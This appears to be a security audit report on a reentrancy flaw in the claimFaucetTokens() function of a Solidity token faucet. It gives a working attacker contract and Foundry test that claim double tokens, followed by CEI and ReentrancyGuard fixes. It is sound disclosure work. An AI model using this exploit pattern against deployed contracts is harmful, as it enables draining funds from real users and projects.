Description
The claimFaucetTokens() function in RaiseBoxFaucet.sol contains a critical reentrancy vulnerability that allows attackers to bypass the 3-day claim cooldown and drain double the intended token amount in a single transaction. The vulnerability exists because the function updates critical state variables (lastClaimTime and dailyClaimCount) after making an external ETH transfer to an untrusted address, violating the Checks-Effects-Interactions (CEI) pattern.
Severity: High
Likelihood: High
Impact: Attackers can drain 2x tokens per claim, exhaust daily limits, and prevent legitimate users from accessing the faucet.
Vulnerability Details
Root Cause
The claimFaucetTokens() function performs state updates in the wrong order:
function claimFaucetTokens() public {
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
}
lastClaimTime[faucetClaimer] = block.timestamp;
dailyClaimCount++;
_transfer(address(this), faucetClaimer, faucetDrip);
}
Attack Flow:
Attacker deploys a malicious contract with a receive() fallback function
Attacker calls claimFaucetTokens() for the first time
The cooldown check passes (first claim)
The contract sends 0.005 ETH to the attacker, triggering the receive() function
Inside receive(), the attacker re-enters claimFaucetTokens()
The cooldown check still passes because lastClaimTime hasn't been updated yet
The second claim completes successfully (no ETH sent this time, but tokens are transferred)
Control returns to the original call, which also completes
Result: Attacker receives 2,000 tokens instead of 1,000
Risk
Likelihood: HIGH
-
Reason 1: The vulnerability is triggered deterministically on every first-time claim when sepEthDripsPaused = false and the contract has sufficient ETH balance. No race conditions, oracle dependencies, or external protocol states are required—the attack surface is purely within the contract's control flow.
-
Reason 2: Exploitation requires only basic Solidity knowledge (deploying a contract with a receive() function that re-calls the faucet). Publicly available reentrancy attack templates can be adapted in minutes. The low technical barrier ensures widespread exploitability.
-
Reason 3: The faucet is designed for public access on Sepolia testnet, attracting users specifically seeking free tokens. Adversarial actors monitoring testnet deployments can trivially identify and exploit this vulnerability using automated tools or manual inspection before legitimate users drain the supply.
Impact: HIGH
-
Impact 1 - Cooldown Bypass (Direct):
Each malicious contract can claim 2000 tokens (2x faucetDrip) in a single transaction, completely bypassing the 3-day cooldown period. This represents a 100% violation of the intended rate-limiting mechanism.
-
Impact 2 - Economic Exploitation (Scalable):
An attacker can deploy 50 malicious contracts to drain 100,000 tokens (50 × 2000) in under 1 minute, consuming the entire daily claim limit.
Proof of Concept
Step 1: Create Exploit Contract
Create file test/ReentrancyAttacker.sol:
pragma solidity ^0.8.30;
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract ReentrancyAttacker {
RaiseBoxFaucet public immutable faucet;
uint256 public attackCount;
constructor(address payable _faucet) {
faucet = RaiseBoxFaucet(_faucet);
}
function attack() external {
faucet.claimFaucetTokens();
}
receive() external payable {
if (attackCount == 0) {
attackCount++;
try faucet.claimFaucetTokens() {} catch {}
}
}
}
Step 2: Add Test to Existing Test File
Add to test/RaiseBoxFaucet.t.sol:
import {ReentrancyAttacker} from "./ReentrancyAttacker.sol";
function testReentrancyExploit() public {
ReentrancyAttacker attacker = new ReentrancyAttacker(payable(address(raiseBoxFaucet)));
uint256 balanceBefore = raiseBoxFaucet.balanceOf(address(attacker));
console.log("Initial balance:", balanceBefore);
attacker.attack();
uint256 balanceAfter = raiseBoxFaucet.balanceOf(address(attacker));
uint256 expectedSingle = raiseBoxFaucet.faucetDrip();
console.log("Final balance:", balanceAfter);
console.log("Expected single claim:", expectedSingle);
console.log("Attack count:", attacker.attackCount());
assertEq(balanceAfter - balanceBefore, 2 * expectedSingle, "Should claim 2x tokens");
assertEq(attacker.attackCount(), 1, "Reentrancy occurred once");
}
Step 3: Run the Exploit Test
forge test --match-test testReentrancyExploit -vv
Step 4: Expected Test Output (BEFORE FIX)
Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
[PASS] testReentrancyExploit() (gas: 444314)
Logs:
Initial balance: 0
Final balance: 2000000000000000000000
Expected single claim: 1000000000000000000000
Attack count: 1
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.97ms
Recommended Mitigation
OPTION 1 : FIX CEI PATTERN
Apply Checks-Effects-Interactions correctly by moving state updates before external calls:
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// CHECKS: Verify all requirements
if (block.timestamp < (lastClaimTime[faucetClaimer] + CLAIM_COOLDOWN)) {
revert RaiseBoxFaucet_ClaimCooldownOn();
}
if (dailyClaimCount >= dailyClaimLimit) {
revert RaiseBoxFaucet_DailyClaimLimitReached();
}
+ // EFFECTS: Update state BEFORE external calls
+ if (block.timestamp > lastFaucetDripDay + 1 days) {
+ lastFaucetDripDay = block.timestamp;
+ dailyClaimCount = 0;
+ dailyDrips = 0;
+ }
+
+ lastClaimTime[faucetClaimer] = block.timestamp;
+ dailyClaimCount++;
+
+ // Determine if ETH drip is needed
+ bool shouldDripEth = false;
+ uint256 ethAmount = 0;
+
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- if (block.timestamp > lastSepEthDripDay + 1 days) {
- lastSepEthDripDay = block.timestamp;
- dailyDrips = 0;
- }
-
+ if (block.timestamp > lastSepEthDripDay + 1 days) {
+ lastSepEthDripDay = block.timestamp;
+ dailyDrips = 0;
+ }
+
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
-
- (bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
- if (success) {
- emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
- } else {
- revert RaiseBoxFaucet_EthTransferFailed();
- }
+ shouldDripEth = true;
+ ethAmount = sepEthAmountToDrip;
}
- } else {
- if (block.timestamp > lastSepEthDripDay + 1 days) {
- lastSepEthDripDay = block.timestamp;
- dailyDrips = 0;
- }
}
- if (block.timestamp > lastFaucetDripDay + 1 days) {
- lastFaucetDripDay = block.timestamp;
- dailyClaimCount = 0;
- }
-
- lastClaimTime[faucetClaimer] = block.timestamp;
- dailyClaimCount++;
-
+ // INTERACTIONS: External calls LAST
_transfer(address(this), faucetClaimer, faucetDrip);
+
+ if (shouldDripEth) {
+ (bool success,) = faucetClaimer.call{value: ethAmount}("");
+ if (success) {
+ emit SepEthDripped(faucetClaimer, ethAmount);
+ } else {
+ revert RaiseBoxFaucet_EthTransferFailed();
+ }
+ }
+
emit Claimed(msg.sender, faucetDrip);
}
Option 2 : Add Reentrancy Guard
For additional security, combine CEI fix with OpenZeppelin's ReentrancyGuard:
- contract RaiseBoxFaucet is ERC20, Ownable {
+ contract RaiseBoxFaucet is ERC20, Ownable, ReentrancyGuard {
- function claimFaucetTokens() public {
+ function claimFaucetTokens() public nonReentrant {